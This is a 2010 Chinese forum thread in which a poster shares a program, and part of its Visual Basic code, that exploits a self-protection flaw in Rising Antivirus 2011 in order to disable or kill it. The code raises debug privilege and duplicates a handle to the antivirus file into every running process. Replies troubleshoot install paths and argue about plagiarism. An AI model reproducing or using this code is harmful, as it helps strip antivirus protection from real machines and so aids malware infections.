发程序了..瑞星2011自保缺陷（新版本）

显示全部楼层 · 发表于 2010-7-17 00:06:19

回复 13楼 不知道这是剑 的帖子

啊啊啊我知道了不是我的问题这个暂不支持瑞星全功能2011.. 目录不一样！！！

lujing = GetProcessNameByProcessId(b)
'
mulu = Mid$(lujing, 1, Len(lujing) - (Len(lujing) - InStrRev(lujing, "")))
Dim pFile As String, hsFile As Long, hProcess1 As Long, htFile As Long, lProcess() As Long, fProcess As Long
RtlAdjustPrivilege 20, 1, 0, 0
pFile = lujing
hsFile = CreateFileA(pFile, &H80000000, 0, ByVal 0, 3, 0, 0)
lProcess = GetProcesses()
For fProcess = 0 To UBound(lProcess)
hProcess1 = DhOpenProcess(lProcess(fProcess))
If hProcess1 <> 0 Then
NtDuplicateObject -1, hsFile, hProcess1, htFile, 0, 0, 4
End If
NtClose hProcess1
Next
'///////
'///////
shengji = Replace(mulu, "RAV", "RSD\XXXXXX")

复制代码

'全功能这里不是RAV

显示全部楼层 · 发表于 2010-7-17 00:16:21

回复 21楼 liangfangCN 的帖子
你注释///////干嘛。。。

显示全部楼层 · 发表于 2010-7-17 00:21:17

回复 22楼 taoyuan237 的帖子

分段..代码太多了。。

显示全部楼层 · 发表于 2010-7-17 09:01:23

提示: 该帖被管理员或版主屏蔽

显示全部楼层 · 发表于 2010-7-17 09:07:34

回复 24楼 绿太狼 的帖子
无知的24楼,我这个和VBGood上面的代码有什么关系？你说VBGood上面哪些代码变成我的?你说我抄袭了VBgOOD上面的代码? 哪个帖子发出来,不要跟我说是lianggaochuan--那个XXXX
liangfangCN和lianggaochuan是同一个人[:27:]

显示全部楼层 · 发表于 2010-7-17 09:09:33

回复 24楼 绿太狼 的帖子
VBGood上根本没有代码能关闭瑞星2011的,那个是以前的

显示全部楼层 · 发表于 2010-7-17 09:23:21

显示全部楼层 · 发表于 2010-7-17 09:25:14

回复 27楼 smilediy 的帖子
看一下瑞星目录,发个图,

显示全部楼层 · 发表于 2010-7-17 09:30:21

更新版还是杀不了

显示全部楼层 · 发表于 2010-7-17 09:33:00

回复 29楼 smilediy 的帖子

我这里可以,提示那个的话,没找到文件,看下你的瑞星目录！

绿太狼该用户已被删除	发表于 2010-7-17 09:01:23 \| 显示全部楼层提示: 该帖被管理员或版主屏蔽
绿太狼该用户已被删除
	回复举报

[瑞星] 发程序了..瑞星2011自保缺陷（新版本）

本帖子中包含更多资源